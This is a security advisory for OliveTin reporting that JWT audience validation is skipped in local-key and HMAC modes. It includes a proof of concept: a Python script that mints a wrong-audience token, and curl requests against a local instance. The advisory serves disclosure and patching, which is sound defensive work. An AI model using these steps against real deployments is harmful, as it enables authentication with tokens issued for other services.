GHSA-G962-2J28-3CG9
Vulnerability from github – Published: 2026-03-05 20:52 – Updated: 2026-03-06 22:52Summary
When JWT authentication is configured using either:
authJwtPubKeyPath(local RSA public key), orauthJwtHmacSecret(HMAC secret),
the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
Details
Affected Code
File: jwt.go
Lines: 51–59, 144–157, 161–168
Current Behavior
Remote JWKS Mode (Correct):
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
HMAC Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.
PoC
- Configure OliveTin
Use a minimal config with JWT local key authentication: ```yaml authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience
authRequireGuestsToLogin: true ```
- Generate a Wrong-Audience Token ```python python3 - <<EOF import jwt, datetime
with open("private.pem") as f: key = f.read()
token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" )
print(token)
EOF
``
This prints the$WRONG_AUD_TOKEN`.
-
Test Without Token (Baseline)
bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}'Expected response:HTTP/1.1 401 Unauthorized -
Test With Wrong-Audience Token
bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}'Expected response:HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}Authentication succeeds even though theaudclaim is incorrect.
Impact
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
- Cross-service token reuse
- Authentication using tokens issued for other systems
- Trust boundary violation in multi-service environments
This is particularly severe when:
- OliveTin is deployed behind a centralized SSO provider
- The same signing key is reused across services
- Audience restrictions are relied upon for service isolation
This does not bypass ACL authorization. It is strictly an authentication validation flaw.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260304231339-e97d8ecbd8d6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30223"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T20:52:12Z",
"nvd_published_at": "2026-03-06T21:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51\u201359, 144\u2013157, 161\u2013168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n Use a minimal config with JWT local key authentication:\n ```yaml\n authJwtPubKeyPath: ./public.pem\n authJwtHeader: Authorization\n authJwtClaimUsername: sub\n authJwtAud: expected-audience\n\n authRequireGuestsToLogin: true\n ```\n\n2. **Generate a Wrong-Audience Token**\n ```python\n python3 - \u003c\u003cEOF\n import jwt, datetime\n\n with open(\"private.pem\") as f:\n key = f.read()\n\n token = jwt.encode(\n {\n \"sub\": \"low\",\n \"aud\": \"wrong-audience\", # intentionally wrong\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n },\n key,\n algorithm=\"RS256\"\n )\n\n print(token)\n EOF\n ```\n This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{}\u0027\n ```\n Expected response:\n ```\n HTTP/1.1 401 Unauthorized\n ```\n\n4. **Test With Wrong-Audience Token**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n -d \u0027{}\u0027\n ```\n Expected response:\n ```\n HTTP/1.1 200 OK\n {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n ```\n Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
"id": "GHSA-g962-2j28-3cg9",
"modified": "2026-03-06T22:52:10Z",
"published": "2026-03-05T20:52:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30223"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.